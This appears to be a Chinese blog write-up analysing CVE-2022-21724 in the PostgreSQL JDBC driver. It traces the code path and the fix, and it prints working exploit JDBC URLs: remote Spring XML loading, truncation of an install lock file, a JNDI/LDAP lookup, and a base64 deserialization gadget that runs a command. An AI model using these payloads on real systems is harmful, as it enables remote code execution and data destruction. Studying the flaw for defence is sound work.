PostgreSQL JDBC RCE命令执行
PostgreSQL JDBC RCE命令执行是22年爆出来的一个漏洞CVE-2022-21724
漏洞描述
PostgreSQL JDBC Driver是一个用 Pure Java(Type 4)编写的开源 JDBC 驱动程序,用于 PostgreSQL 本地网络协议中进行通信。
pgjdbc 是 PostgreSQL 官方 JDBC 驱动,在使用当攻击者可以控制 jdbc url 或 properties 时,可能导致安全风险。原因是驱动程序在实例化部分属性对应类时,并未检查其是否实现自期望类或接口,导致恶意用户可以实例化任意类,并进一步达到 RCE。
影响版本
• < 42.2.25
• >= 42.3.0,< 42.3.2
漏洞代码
在pom.xml中导入对应的PostgreSQL依赖
1 | <dependency> |
漏洞点
漏洞点位于 org.postgresql.util.ObjectFactory#instantiate() 方法
1 | public static Object instantiate(String classname, Properties info, boolean tryString, |
此方法接收一个 Class 类名、Properties 对象、一个布尔值、一个 String 类型的参数。会根据传入的Class类名获取到对应的Properties类型的类构造器或者String类型的类构造器,如果前两者都没有就会获取到其无参构造器,最后进行一个实例化的操作
所以满足如下条件的 Class 可以利用:
- 存在 Properties 构造方法,且构造方法中达到恶意目的;
- 存在单 String 构造方法,且构造方法中达到恶意目的。
- 存在无参数构造方法,且构造方法中达到恶意目的。
我们可以寻找到 spring 框架中的如下两个类来进行利用。
1 | org.springframework.context.support.ClassPathXmlApplicationContext |
接下来我们回溯如何调用到instantiate方法
回溯分析
写个漏洞demo调试吧
还需要额外导入Spring依赖
1 | <dependency> |
然后写一个demo
1 | package PostgreSQLJDBC; |
在恶意poc.xml文件下填入以下内容
1 | <beans xmlns="http://www.springframework.org/schema/beans" |
在getConnection处打上断点进行调试,首先是java.sql.DriverManager#getConnection()

这里会尝试调用driver的connect方法,这里的driver就是org.postgresql.Driver
1 |
|
检查传入的url是否是jdbc://postgresql开头,随后使用 getDefaultProperties 方法收集配置文件中的相关属性键值对,并调用parseURL解析传入的url
跟进parseURL看看

先是通过?来将url分为urlServer服务器地址和urlArgs参数两部分

判断是否是//开头,是的话就截取//后面的内容。接下来查找是否有/,并将/后面的内容作为连接数据库名。因为常规的JDBC URL的格式是host:port/dbname
对/前面的内容按逗号分隔,可以适用于多个主机操作,并对各个主机逐个解析host和port
所以例如jdbc:postgresql:*//aaa.com,127.0.0.1:2234,/?socketFactory=*这样的写法也是可以的,甚至可以在利用的时候进行jdbc:postgresql:*//,,, ,,,, ,, , ,,/?socketFactory=*或者jdbc:postgresql:*///?socketFactory=*变形利用

当然,如果啥都没有的话,默认是localhost:5432

最终把多主机、多端口以逗号拼接存入属性,供后续建立连接时使用。

接下来是参数( Args)的解析,则是使用 & 符切割,以 = 来切割键值对,并将值 URLdecode 之后存放在整体 Properties 对象中。最后返回urlProps对象
然后就是连接数据库的操作了,跟进到makeConnection方法中

通过实例化一个PgConnection对象来进行连接

前面是一些初始化赋值操作,真正的连接是在org.postgresql.core.ConnectionFactory#openConnection方法中

进行了一个协议版本的判断,目前只支持了 3 版本,实例化了一个工厂类,随后调用 org.postgresql.core.v3.ConnectionFactoryImpl.openConnectionImpl 方法建立连接

漏洞利用点
socketFactory & socketFactoryArg
调用了 org.postgresql.core.SocketFactoryFactory.getSocketFactory 方法,用来获取进行链接的 Socket 工厂类。此方法就是漏洞利用点的第一个方式了

可以看到分别从info中获取socketFactory和socketFactoryArg属性值,并调用ObjectFactory.instantiate 方法进行实例化,其中socketFactoryClassName就是我们之前讲过的类名ClassName,socketFactoryArg就是传入的参数值stringarg
所以此处的漏洞利用方式为
1 | jdbc:postgresql:///?socketFactory=恶意类名&socketFactoryArg=单String恶意类参数 |
sslfactory & sslfactoryarg
在getSocketFactory中可以看到,如果没有指定socketFactory 的话就会返回默认的socketFactory工厂类,回到上一步,会对所有获取到的host进行尝试连接,会调用到tryConnect

该方法会创建连接,并判断连接的目标是否支持SSL

1 | private PGStream enableSSL(PGStream pgStream, SslMode sslMode, Properties info, |
与目标服务器进行 SSL 协议数据交互,并判断服务器返回值为字符 S 也就是 byte 83,则代表服务器支持 SSL。进入convert方法

很熟悉的代码,跟进看看

哎,和之前分析的很像,只不过这里的参数变成了sslfactory和sslfactoryarg,也一样会调用ObjectFactory.instantiate进行实例化操作
所以此处的触发方式为:
1 | jdbc:postgresql:///?sslfactory=恶意类名&sslfactoryarg=单String恶意类参数 |
但这种方式就有了前置条件:能联通一个真的支持 SSL 的 Postgresql 数据库,或连接一个能返回 S 的监听端口(或恶意服务器)。
如果要搭建支持 SSL 的 postgre 数据库,可以参考
1 | mkdir postgre |
然后我们看看上面提到的执行类Sink class能造成什么样的结果
Sink Class
看到org.springframework.context.support.ClassPathXmlApplicationContext#ClassPathXmlApplicationContext(java.lang.String)构造方法
1 | public ClassPathXmlApplicationContext(String configLocation) throws BeansException { |
继续跟进
1 | public ClassPathXmlApplicationContext(String[] configLocations, boolean refresh, ApplicationContext parent) |
这里会调用其父类AbstractXmlApplicationContext#refresh方法以给定的恶意XML文件中加载定义

这里就会对xml文件的内容进行一个解析执行了
利用方式
ClassPathXmlApplicationContext&FileSystemXmlApplicationContext
上面也讲过了,ClassPathXmlApplicationContext/FileSystemXmlApplicationContext 通过远程执行 xml 来 RCE,但利用条件也显而易见
- 需要额外导入spring-context-support依赖(或者其他自行封装包例如 weblogic 的
com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext等) - 另一个是需要机器出网
在poc.xml 所在目录下启动http服务并运行我们的代码

接下来分享师傅文章中其他可以用到的sink点
[2] FileOutputStream/InputStream
FileOutputStream 清空文件,实战中可以配合业务逻辑清空特定文件,达到 RCE 的目的。
1 | jdbc:postgresql:///?socketFactory=java.io.FileOutputStream&socketFactoryArg=/var/www/app/install.lck |
反过来 FileInputStream 可以探测文件是否存在,不过需要看到报错信息来判断。
[3] JLabel
CS RCE 的套娃,需要依赖 batik-swing(对 JDK 环境及版本也有要求)。
1 | jdbc:postgresql:///?socketFactory=javax.swing.JLabel&socketFactoryArg=<html><object classid="org.apache.batik.swing.JSVGCanvas"><param name="URI" value="http://localhost:8080/1.xml"></object></html> |
[4] MiniAdmin
Mysql 的套娃。需要依赖 mysql-connector-java(这个类高版本才有)。
1 | jdbc:postgresql:///?socketFactory=com.mysql.cj.jdbc.admin.MiniAdmin&socketFactoryArg=jdbc:mysql://127.0.0.1:3306/test?... |
[5] IniEnvironment
在 ActiveMQ 不出网利用中出现的类,可以配合 BCEL 加载以及反序列化,需要依赖 activemq-shiro 以及对应依赖。
根据 Anchor 师傅在先知上发现的文章。有两条不出网的利用链,第一条是 BasicDataSource 配合 BCEL 类加载,需要的依赖和限制有点多,这里就不列举了。
第二条是 ActiveMQObjectMessage#getObject 触发的反序列化
1 | jdbc:postgresql:///?socketFactory=org.apache.activemq.shiro.env.IniEnvironment&socketFactoryArg=%5Bmain%5D%0Abs%20%3D%20org.apache.activemq.util.ByteSequence%0Amessage%20%3D%20org.apache.activemq.command.ActiveMQObjectMessage%0Abs.data%20%3D%20rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAK29yZy5hcGFjaGUuY29tbW9ucy5iZWFudXRpbHMuQmVhbkNvbXBhcmF0b3LjoYjqcyKkSAIAAkwACmNvbXBhcmF0b3JxAH4AAUwACHByb3BlcnR5dAASTGphdmEvbGFuZy9TdHJpbmc7eHBzcgA%2Fb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmNvbXBhcmF0b3JzLkNvbXBhcmFibGVDb21wYXJhdG9y%2B%2FSZJbhusTcCAAB4cHQAEG91dHB1dFByb3BlcnRpZXN3BAAAAANzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1lcQB%2BAARMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAAAAAAAdXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAACdXIAAltCrPMX%2BAYIVOACAAB4cAAAAU3K%2Frq%2BAAAAMQAWAQA0b3JnL2FwYWNoZS93aWNrZXQvYmF0aWsvYnJpZGdlL1NWR0Jyb2tlbkxpbmtQcm92aWRlcgcAAQEAEGphdmEvbGFuZy9PYmplY3QHAAMBAAY8aW5pdD4BAAMoKVYBAARDb2RlDAAFAAYKAAQACAEAEWphdmEvbGFuZy9SdW50aW1lBwAKAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwADAANCgALAA4BABZvcGVuIC1hIENhbGN1bGF0b3IuYXBwCAAQAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAEgATCgALABQAIQACAAQAAAAAAAEAAQAFAAYAAQAHAAAAGgACAAEAAAAOKrcACbgADxIRtgAVV7EAAAAAAAB1cQB%2BABAAAAEayv66vgAAADQAEQEANW9yZy9hcGFjaGUvY29tbW9ucy9qYW0vcHJvdmlkZXIvSmFtU2VydmljZUZhY3RvcnlJbXBsBwABAQAQamF2YS9sYW5nL09iamVjdAcAAwEAClNvdXJjZUZpbGUBABpKYW1TZXJ2aWNlRmFjdG9yeUltcGwuamF2YQEAEHNlcmlhbFZlcnNpb25VSUQBAAFKBXHmae48bUcYAQANQ29uc3RhbnRWYWx1ZQEABjxpbml0PgEAAygpVgwADAANCgAEAA4BAARDb2RlACEAAgAEAAAAAQAaAAcACAABAAsAAAACAAkAAQABAAwADQABABAAAAARAAEAAQAAAAUqtwAPsQAAAAAAAQAFAAAAAgAGcHQAAWFwdwEAeHEAfgANeA%3D%3D%0Abs.length%20%3D%201628%0Abs.offset%20%3D%200%0Amessage.content%20%3D%20%24bs%0Amessage.trustAllPackages%20%3D%20true%0Amessage.object.x%20%3D%20x |
[6] HikariConfig
柯字辈师傅分享,利用 Properties 方式,走 HikariConfig 触发 JNDI,需要依赖 HikariCP。
1 | jdbc:postgresql:///?socketFactory=com.zaxxer.hikari.HikariConfi&metricRegistry=ldap://127.0.0.1:1389/exp |
漏洞修复
从Github提交记录中可以找到,在各个接口实例化时加上了期望类的判断。
懒得翻了,直接看师傅的图吧

参考文章:
https://su18.org/post/postgresql-jdbc-attack-and-stuff/
https://forum.butian.net/share/1339